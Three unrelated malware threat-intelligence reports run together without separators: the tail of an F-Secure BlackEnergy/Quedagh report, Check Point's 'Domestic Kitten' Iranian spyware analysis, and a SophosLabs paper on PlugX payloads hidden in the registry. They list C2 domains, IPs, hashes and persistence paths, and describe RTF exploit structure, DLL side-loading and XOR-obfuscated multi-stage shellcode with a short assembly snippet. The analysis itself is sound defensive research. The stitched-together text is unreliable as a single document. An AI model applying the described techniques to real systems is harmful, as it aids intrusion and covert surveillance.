HTTP POST Field Description of Values getp The plugin name to be downloaded plv Some variants specify the version of the plugin to be downloaded getpd The binary name to be downloaded TABLE 6: MAIN DLLS ADDITIONAL COMMANDS DURING DOWNLOAD OF ADDITIONAL FILES DIAGRAM 3: CONFIGURATION DATA HANDLING MAIN DLL Config Config CC SERVER HTTP POST1 2 3 1 2 3 Main DLL process configuration data embedded in its body will only process fields related to CC communication.
BlackEnergy 2 configuration may also contain initial commands to execute.
Main DLL reports to CC.
Main DLL processes the configuration data returned by the CC.
This time, it processes fields related to plugins and commands.
The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 13 CONCLUSIONS BlackEnergy is a toolkit that has been used for years by various criminal outfits.
In the summer of 2014, we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting.
These samples were identified as being the work of one group, referred to in this document as Quedagh, which has a history of targeting political organizations.
Though inconclusive, suggestive details indicate that BlackEnergy malware, possibly also from this gang, may also have been used in the Russo-Georgian confrontation in 2008.
The Quedagh-customizations to the BlackEnergy malware include support for proxy servers (which, in the samples examined are associated with Ukrainian entities) and use of techniques to bypass User Account Control and driver signing features in 64-bit Windows systems.
While monitoring BlackEnergy samples, we also encountered a new variant, which we dub BlackEnergy 3, with a modified configuration, no driver component and a different installation procedure.
The use of BlackEnergy for a politically-oriented attack is an intriguing convergence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom-made piece of code.
.REFERENCES 1.
Wikipedia Proxy server http://en.wikipedia.org/wiki/Proxy_serverCross-domain_resources 2.
Broderick Aquilino F-Secure Weblog BlackEnergy Rootkit, Sort Of 13 June 2014 http://www.f-secure.com/weblog/archives/00002715.html 3.
Broderick Aquilino F-Secure Weblog Beware BlackEnergy If Involved In Europe/Ukraine Diplomacy 30 June 2014 http://www.f-secure.com/weblog/archives/00002721.html 4.
Kafeine Malware dont need Coffee BotnetKernel (MS:Win32/Phdet.
S) an evolution of BlackEnergy  21 June 2014 http://malware.dontneedcoffee.com/2014/06/botnetkernel.html 5.
Joe Stewart DELL SecureWorks BlackEnergy Version 2 Analysis 3 March 2010 http://www.secureworks.com/cyber-threat-intelligence/threats/blackenergy2/ 14 BLACKENERGY  QUEDAGH  The convergence of crimeware and APT attacks SHA1 Description 26b9816b3f9e2f350cc92ef4c30a097c6fec7798 Main reference for related BlackEnergy 2 32-bit driver and main DLL component analysis bf9937489cb268f974d3527e877575b4fbb07cb0 Main reference for related BlackEnergy 2 64-bit driver (signed on 2013-12-25) and installer analysis.
Basis for the start of the Ukrainian target.
78636f7bbd52ea80d79b4e2a7882403092bbb02d Main reference for related BlackEnergy 3 analysis bf9172e87e9264d1cddfc36cbaa74402bb405708 Main reference for related si plugin analysis 441cfbaba1dfd58ce03792ef74d183529e8e0104 Stand-alone non-persistent BlackEnergy 2 sample f7d4aa90b76646f4a011585eb43b9d13c60f48eb Trojanized Juniper installer containing related BlackEnergy 2 8ccd2962bce8985d0794daed6e0bf73e5557cfe8 Trojanized Adobe Bootstrapper containing related BlackEnergy 2.
This means that it is highly probable that there is a trojanized Adobe package out there.
d496f99f7e07d5cbbd177a9d43febe8fb87ebc3b Related RTF document containing exploit cc71aa8f919911676fb5d775c81afc682e6e3dd3 Related BlackEnergy 2 binary containing strings that are political in nature abab02d663872bcdbe2e008441fcd7157c0eb52d Oldest (compiled on 2010-12-14) related BlackEnergy 2 installer that was found e5c8c10b10ee288512d3a7c79ae1249b57857d23 Oldest (compiled on 2013-04-09) related BlackEnergy 2 installer that bypass UAC that was found 8743c8994cc1e8219697394b5cb494efa7dad796 Oldest (signed on 2013-11-14) related BlackEnergy 2 64-bit driver that was found 285b3252a878d1c633ea988153bbc23c148dd630 Oldest (compiled on 2014-05-12) related BlackEnergy 3 dropper that was found APPENDIX A  SAMPLES The convergence of crimeware and APT attacks  BLACKENERGY  QUEDAGH 15 PAGE INTENTIONALLY LEFT BLANK F-Secure is an online security and privacy company from Finland.
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Founded in 1988, F-Secure is listed on NASDAQ OMX Helsinki Ltd. F-Secure is an online security and privacy company from Finland.
We offer millions of people around the globe the power to surf invisibly and store and share stuff, safe from online threats.
We are here to fight for digital freedom.
Join the movement and switch on freedom.
Founded in 1988, F-Secure is listed on NASDAQ OMX Helsinki Ltd. SWITCH ON FREEDOM Introduction Attack overview Infection vectors Target details 2008 cyberattacks on Georgia?
Ukraine-related proxies Timeline Technical details UAC bypass during installation Driver signing policy bypass Hijacking existing drivers Driver component Main DLL component BlackEnergy 3 Information-stealing plugin Network traffic Conclusions Appendix A  Samples
September 7, 2018 Domestic Kitten: An Iranian Surveillance Operation research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation Chinese strategist Sun Tzu, Italian political philosopher Machiavelli and English philosopher Thomas Hobbes all justified deceit in war as a legitimate form of warfare.
Preceding them all, however, were some in the Middle East who had already internalized and implemented this strategy to great effect, and continue to do so today.
Recent investigations by Check Point researchers reveal an extensive and targeted attack that has been taking place since 2016 and, until now, has remained under the radar due to the artful deception of its attackers towards their targets.
Through the use of mobile applications, those behind the attack use fake decoy content to entice their victims to download such applications, which are in fact loaded with spyware, to then collect sensitive information about them.
Interestingly, these targets include Kurdish and Turkish natives and ISIS supporters.
Most interesting of all, though, is that all these targets are actually Iranians citizens.
What Information is Collected?
Considering the nature of the target, the data collected about these groups provides those behind the campaign with highly valuable information that will no doubt be leveraged in further future action against them.
Indeed, the malware collects data including contact lists stored on the victims mobile device, phone call records, SMS messages, browser history and bookmarks, geo-location of the victim, photos, surrounding voice recordings and more.
Who is Behind the Attack?
While the exact identity of the actor behind the attack remains unconfirmed, current observations of those targeted, the nature of the apps and the attack infrastructure involved leads us to believe this operation is of Iranian origin.
In fact, according to our discussions with intelligence experts familiar with the political discourse in this part of the world, Iranian government entities, such as the Islamic Revolutionary Guard Corps (IRGC), Ministry of Intelligence, Ministry of Interior and others, frequently conduct extensive surveillance of these groups.
Indeed, these surveillance programs are used against individuals and groups that could pose a threat to stability of the Iranian regime.
These could include internal dissidents and opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in Western Iran.
1/10 https://research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation/ https://research.checkpoint.com/wp-content/uploads/2018/09/Fig1.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig1a.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig2.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig3.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig4.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig5a.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig5b.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig6.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig7a.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig8aa.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig8a.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig9.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig10aa.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig11.jpg While our investigation is still in progress, the research below reveals the full extent of these targeted attacks, its infrastructure and victims and the possible political story behind it.
In the meantime, we have dubbed this operation Domestic Kitten in line with the naming of other Iranian APT attacks.
Data Collection via Mobile Applications Victims are first lured into downloading applications which is believed to be of interest to them.
The applications our researchers discovered included an ISIS branded wallpaper changer, updates from the ANF Kurdistan news agency and a fake version of the messaging app, Vidogram.
Regarding the ISIS-themed application, its main functionality is setting wallpapers of ISIS pictures, and therefore seems to be targeting the terror organizations advocates.
Curiously, its Arabic name is grammatically incorrect (      , which should instead be ).
Figure 1: The application offering Isis-related wallpapers.
2/10 https://www.reuters.com/article/us-iran-cyber/once-kittens-in-cyber-spy-world-iran-gains-prowess-security-experts-idUSKCN1BV1VA Figure 2: ANF News Agency website, on which the decoy app is based.
3/10 With regards to the ANF News Agency app, while ANF is a legitimate Kurdish news website its app has been fabricated by the attackers to pose as the legitimate app in order to deceive their targets.
Due to the names and content that is offered by the above mentioned applications then, we are lead to believe that specific political groups and users, mainly ISIS supporters and the Kurdish ethnic group, are targeted by the operation.
However, when most of the victims are actually Iranian citizens, it raises more pertinent questions about who may be behind the attack.
Due to the attack infrastructure, reviewed below, and its consistency with previous investigations of state-sponsored Iranian operations covered by Check Point researchers, we were led to believe that Iranian government agencies may well be behind the campaign.
Technical Analysis A closer look at each of the applications used in the campaign show them to have the same certificate that was issued in 2016.
This certificate is associated with the e-mail address telecom2016yahoo[.
]com, as seen below.
Figure 3: Attack applications certificate uses the same email address telecom2016yahoo[.
]com Unfortunately not much is known about this e-mail address, as it was not used to register any domain names or to launch attacks in the past.
Another unique characteristic of the applications used, though, is that all of the samples analyzed have several classes that are under a misspelled package name, andriod.browser.
4/10 Figure 4: The malicious applications classes.
These classes are seen to be in charge of data exfiltration, collecting sensitive information from the victims device.
Such information includes: SMS/MMS messages phone calls records Contacts list Browser history and bookmarks External storage Application list Clipboard content Geo-location and camera photos Interestingly, they also collect surrounding voice recordings.
5/10 Figure 5: Examples of the malicious code.
All of the stolen data is then send back to CC servers using HTTP POST requests.
Additionally, one of the applications contacts firmwaresystemupdate[.
]com, a newly registered website that was seen to resolve to an Iranian IP address at first, but then switched to a Russian address.
Figure 6: One of the decoy applications contact firmwaresystemupdate[.
]com The rest of the applications contact IP addresses directly, which unlike the previous domain, are base64 encoded and XORed: 6/10 Figure 7: The CC decoding.
Although these IP addresses were contacted directly, they are newly registered domains that resolve to each of the IP addresses and they all follow the same pattern of a first name- surname naming convention: Stevenwentz[.
]com Ronaldlubbers[.
]site Georgethompson[.
]space Each victim then receives a unique device UUID (a UUID is the encoded value of devices android_id), which appears at the beginning of each log that is sent back to the attacker, with the title of each log having the same structure: UUID_LogDate_LogTime.log.
When a log is created for a victim, some basic information is then collected and documented prior to the logging of phone call details.
In addition, all the logs use a unique delimiter  to separate between the fields of the stolen data: Figure 8: SMS log example.
The different classes then collect relevant data, and add them to such a log that is then zipped.
Afterwards, the archive is encrypted using AES, with the device UUID as the encryption key, as seen in the below code: 7/10 Figure 9: The applications encryption method.
This information is collected and sent back to CC servers when the command is received from the attacker.
These commands also follow the same structure as the log, as it uses the same delimiter, and can include things such as Get File, Set Server, Get Contacts and more: Figure 10: Example of commands sent from the server.
As a result of all the above, this glance into inner working of this attack infrastructure therefore allowed us to form a precise idea about how wide this attack is and the victims targeted.
Victim Distribution Having analyzed the full extent of the operation, as well as some extensive information about the attacked devices and the log files collected, we understood that around 240 users have so far fallen victim to this surveillance campaign.
In addition, due to careful documentation of the campaign by its creators showed we were able to learn that over 97 of its victims are Iranian, consistently aligning with our estimation that this campaign is of Iranian origin.
8/10 In addition to the Iranian targets discovered, we also found victims from Afghanistan, Iraq and Great Britain.
Interestingly, the log documentation includes the name of the malicious application used to intercept the victims data, as well as an Application Code Name field.
This field includes a short description of the app, which leads us to believe that this is a field used by the attackers to instantly recognize the application used by the victim.
Observed code names includes Daesh4 (ISIS4), Military News, Weapon2, Poetry Kurdish.
Below is a visualization of the attacked devices and mobile vendors that were documented in the logs: Figure 11: A breakdown of attacked devices and mobile vendors.
While the number of victims and their characteristics are detailed above, the number of people affected by this operation is actually much higher.
This is due to the fact that the full contact list stored in each victims mobile device, including full names and at least one of their phone numbers, was also harvested by the attackers.
In addition, due to phone calls, SMS details, as well as the actual SMS messages, also recorded by the attackers, the private information of thousands of totally unrelated users has also been compromised.
-
9/10 Check Points Mobile solutions can protect against this type of attack.
For enterprises, read more about Check Points Sand Blast Mobile, and for consumers Check Points Zone Alarm Mobile, to learn how you can protect your device from malicious and invasive mobile malware.
We wish to thank Dr. Raz Zimmt, an expert on Iran at the Institute for National Security Studies (INSS), for his illuminating insights.
Indicators of Compromise c168f3ea7d0e2cee91612bf86c5d95167d26e69c 0fafeb1cbcd6b19c46a72a26a4b8e3ed588e385f f1355dfe633f9e1350887c31c67490d928f4feec d1f70c47c016f8a544ef240487187c2e8ea78339 162[.]248[.]247[.
]172 190[.]2[.]144[.
]140 190[.]2[.]145[.
]145 89[.]38[.]98[.
]49 Firmwaresystemupdate[.
]com Stevenwentz[.
]com Ronaldlubbers[.
]site Georgethompson[.
]space 10/10 https://www.checkpoint.com/products/mobile-threat-defense/ https://www.zonealarm.com/ Domestic Kitten: An Iranian Surveillance Operation
A SophosLabs technical paper - February 2015 By Gabor Szappanos, Principal Researcher PlugX goes to the registry (and India) 1A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Contents Overview 2 PlugX in registry 3 Peeled Tomato 4 Multi-staged installer shellcode 17 2A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Overview Recently we published a paper about the capabilities of APT groups [https://nakedsecurity.
sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-groups/].
One of the conclusions of the paper was that the authors behind the targeted attack campaigns usually have little knowledge about the actual exploit they are using to distribute their malware.
But at the same time, we warned our readers never to underestimate them, because otherwise they are skilled, and quite capable of developing sophisticated backdoors.
One of the worst performances in our comparison of exploit development belonged to the infamous PlugX malware group(s).
However, they recently came out with a couple of significant developments in the backdoor component, demonstrating the point above.
One of the improvements was the introduction of a peer-to-peer communication channel to other infected hosts [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html].
Variants using this technology have previously been spotted in the Rotten Tomato campaign [http://blogs.sophos.
com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/].
Now additional samples have shown up from this generation.
But in addition to the new communication method, some of them were showing another new characteristic: the payload was not stored as separate files, or embedded within the loader DLL, but instead was saved to the registry.
Malware hiding components in registry is not a revolutionary idea we have seen that before.
Most notably the recent Poweliks Trojan [https://blog.gdatasoftware.com/blog/article/poweliks- the-persistent-malware-without-a-file.html] stored the active script component in the registry.
Even some of the APT malware families, like Poison or Frethog, occasionally used the registry as storage for the main payload.
There were precursors even within the criminal groups distributing PlugX: they used this method back in 2013 in a couple of cases for storing the Omdork (a.k.a.
Sybin) payload.
So it was only a question of when the same would happen to the main PlugX backdoor.
And that time arrived this January.
https://nakedsecurity.sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-gr https://nakedsecurity.sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-gr http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blogs.sophos.com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/ http://blogs.sophos.com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/ https://blog.gdatasoftware.com/blog/article/poweliks-the-persistent-malware-without-a-file.html https://blog.gdatasoftware.com/blog/article/poweliks-the-persistent-malware-without-a-file.html 3A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX in registry The new variants were distributed using two distinguishable classes of exploited carrier documents  though in both cases the CVE-2012-0158 exploit was used.
For the first type the distribution was part of a longer campaign, targeting India.
This campaign spanned several months, from September 2014 to February 2015.
During this time span different variants of the PlugX backdoor were observed as the final payload.
Apparently, this was an ongoing operation, where the actors behind it used the latest available versions, as they came out of the factory.
Additionally, a few affiliated malware families were distributed to the targets.
The samples of the second type showed up the first week of February.
At this point we dont have conclusive information about the scope and target of the campaign that used these samples.
The payload is stored in encrypted form in the registry.
It is loaded, decrypted and executed by the malware loader component.
That loader is very similar to the usual PlugX loader DLLs, except that it loads the payload from a registry key instead of a separate file.
PlugX payload in the registry The stored payload is the new P2P PlugX backdoor, with internal function names not seen in earlier PlugX v2 versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1.
PlugX backdoors use a specific date parameter at specific places in the code.
This constant could be used as a major version identifier: when the backdoor code was only slightly modified, the constant did not change.
When the constant was updated, that usually meant a significant change in the code.
In earlier versions this constant was a meaningful date in hexadecimal representation (e.g.
0x20130810 in most of the next generation PlugX samples).
In the P2P PlugX version it changed, now being a meaningful date in decimal representation (e.g.
0x13352AF  20140719 in the case of the Rotten Tomato samples).
In the case of registry stored PlugX variants, this constant was stepped further to 20150108, which indicates a new development from the factory.
Less than a month later these new variants were already spotted in targeted campaigns in India.
4A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Peeled Tomato The first campaign we labelled as Peeled Tomato, in reference to the earlier Rotten Tomato case, because they were clearly derived from those samples.
As a reminder, the original structure of the Rotten Tomato samples was the following: The RTF documents started with an encrypted Zbot Trojan (remainder of the original template used for creating the samples), then a block using the CVE-2012-0158 exploit and the corresponding shellcode.
After that, there was a block using the CVE-2014-1761 exploit and the corresponding first stage shellcode, followed by the second stage shellcode from the CVE-2014- 1761 exploit, and finally the encrypted PlugX backdoor.
The first stage of the CVE-2014-1761 shellcode used a bad offset for the second stage code, thus this exploit never worked.
CVE-2012-0158 exploit and shellcode Encrypted Zbot CVE-2014-1761 exploit and first stage shellcode Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX 5A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Having realized the failure of the attempt, the malware authors removed the CVE-2014-1761 exploit block.
But even that was not done completely.
As a result, they ended up with documents showing the following structure: Samples Not surprisingly, just like with several other campaigns, in this case it was observed that different malware families were distributed using similar carrier documents only the encrypted payload was replaced at the end of the file.
The shellcode used in the carrier was very convenient for this purpose: the length and location of the final payload was stored at the end of the file.
It was possible to swap the payload without needing to modify the exploit condition and the shellcode itself.
And this is exactly what the malware authors did.
CVE-2012-0158 exploit and shellcode Encrypted Zbot Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX 6A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) 9blog This malware family was described in this blog: [http://www.fireeye.com/blog/technical/ malware-research/2013/08/the-curious-case-of-encoded-vb-scripts-apt-nineblog.html] 19e9dfabdb9b10a90b62c12f205ff0d1eeef3f14 Original name: ghozaresh amniyati.doc System activity: Dropped to PROFILE\Application Data\Erease.vbe SAV detection: Troj/DocDrop-CH, VBS/9Blog-A CC servers: www.freetimes.dns05.com Free Dynamic DNS provider http://www.fireeye.com/blog/technical/malware-research/2013/08/the-curious-case-of-encoded-vb-script http://www.fireeye.com/blog/technical/malware-research/2013/08/the-curious-case-of-encoded-vb-script 7A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Smoaler This malware family was described in this blog: [https://nakedsecurity.sophos.com/2013/07/15/ the-PlugX-malware-factory-revisited-introducing-smoaler/], and traditionally has strong ties with PlugX, sharing dropper code and CC infrastructure.
The samples were observed  during the period between November 2014 and January 2015 in Russia.
Original name: .doc System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ COMPUTERNAME.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run  COMPUTERNAME Here COMPUTERNAME is the name of the computer, as set in Windows preferences.
SAV detection: Exp/20120158-A, Troj/Smoaler-F CC servers: lucas1.dnset.com d746ca9b74fb04782e0e783980f7702a9356f1c7 https://nakedsecurity.sophos.com/2013/07/15/the-plugx-malware-factory-revisited-introducing-smoaler/ https://nakedsecurity.sophos.com/2013/07/15/the-plugx-malware-factory-revisited-introducing-smoaler/ 8A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: (2014.10).doc The decoy document is the same as in the case of the Nineblog sample.
System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ COMPUTERNAME.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run  COMPUTERNAME Here COMPUTERNAME is the name of the computer, as set in Windows preferences.
SAV detection: Exp/20120158-A, Troj/Smoaler-F 9A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX v2 These samples were distributed in September and October 2014, in India.
6f845ef154a0b456afcf8b562a0387dabf4f5f85 Original name: Indian Cooking Recipe.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: supercat.strangled.net Free dynamic DNS provider a97827aef54e7969b9cbbec64d9ee81a835f2240 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 10A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: nusteachers.no-ip.org Free dynamic DNS provider e8a29bb90422fa6116563073725fa54169998325 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 11A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Human Rights Violations of Tibet.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: ruchi.mysq1.net Dynamic DNS provider a7e52cb429ac22cc20be77158f97d6f9dd887e1f This sample is an outlier, as it was distributed in January 2015, and in Russia.
The decoy document is also unconvential, of minimalistic design.
But the carrier document and the CC server name shows correlation with the rest of the campaign.
https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 12A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\usta\usha.exe (digitally signed clean loader by Kaspersky) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll (malware loader) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll.avp (payload).
Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\usta  ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130810 SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: lucas1.freetcp.com Free dynamic DNS provider P2P PlugX These samples were distributed in January 2015, in India.
147fbdfeed9f0825026b3b3ce558c3ad00410b11 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 13A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Minutes of meeting.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\gzQkNtWeabrwf ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : 86.01085452454 Registrant Phone Ext: Registrant Fax: 86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls163.com 8ee8ab984cb01762dfc6d341278b87a7c83906cf http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 14A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: U.S.,_India_to_formulate_smart_city_action_plans_in_three_months.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\inbjUkRVq\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\brwTRsulGqjj ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : 86.01085452454 Registrant Phone Ext: Registrant Fax: 86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls163.com http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 15A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Registry PlugX These samples were typically distributed in January-February 2015, in India.
a4602a357360b0ed8e9b0814b1322146156fb7f6 Original name: CHINA NEWS BRIEF 09 of 2015.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy  ImagePath payload stored in the registry in HKCU\Software\BINARY  SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: freemoney.ignorelist.com Free dynamic DNS provider 03b2a660d68004444a5189173e3b8001f4a7cd0b http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 16A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Draft contract CMS Trg System.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy  ImagePath payload stored in the registry in HKCU\Software\BINARY  SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: freemoney.ignorelist.com Free dynamic DNS provider http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 17A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Multi-staged installer shellcode This second batch of exploited documents had a different structure.
All start with a heading RTF content (which is exactly the same in all of the documents), followed by the block that exploits the CVE-2012-0158 vulnerability, along with the first stage shellcode, followed by the second and third stage shellcodes, and finally the encrypted payload executable.
RTF heading of exploited documents The shellcode itself is encrypted with a 4 byte XOR algorithm, with a lot of inserted junk instructions: fprem1 add  edi, ebx jz  short loc_13B nop fnclex fldl2e nop and  ebx, ebx test  eax, eax fsin xor  [edi], esi jp  short loc_14B f2xm1 mov  edx, edx nop cld fst  st(1) pop  edi jle  short loc_157 fldpi fprem1 cmp  edi, esi fdivrp  st(1), st In the above code sample, only the XOR [EDI], ESI instruction is meaningful, performing the decryption of the one dword the rest are only polymorphic junk.
18A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) The underlying shellcode is multi-stage andhas already been observed in an earlier sample dropping a PlugX v2 variant (SHA1: 9b90d6608ba6167619b5991fd70319dfcd1fa881, date constant 0x20140613), but in that case without the top level cryptor.
After the initial bootstrap code is decrypted, it identifies the carrier by looking for DCBA at file offset 0x4e28.
If it is found there, it allocates a memory area and decrypts (using one byte XOR algorithm) the next stage starting from right after the ID string.
The second stage code decrypts and drops two files: the self-extracting installer archive M.B and the first stage installer M.T into the TEMP folder, then allocates another memory region, decrypts, copies and executes the third stage shellcode there.
The third stage shellcode copies the first stage installer (which is a DLL library) M.T into WINDOWS\Tasks\n.dll, then executes by calling LoadLibrary to load it.
The Windows loader upon loading the DLL will execute its entry code.
This entry code runs the self-extracting installer archive M.B which will do the final malware installation in the system.
This final piece of installation process is malware family dependent.
This new shellcode also indicates some heavy development in the PlugX factory.
Both this kind of multi-stage shellcode and the external cryptor indicate that although the group is not top class in exploit development, in conventional malware development they show serious skills, which makes them dangerous.
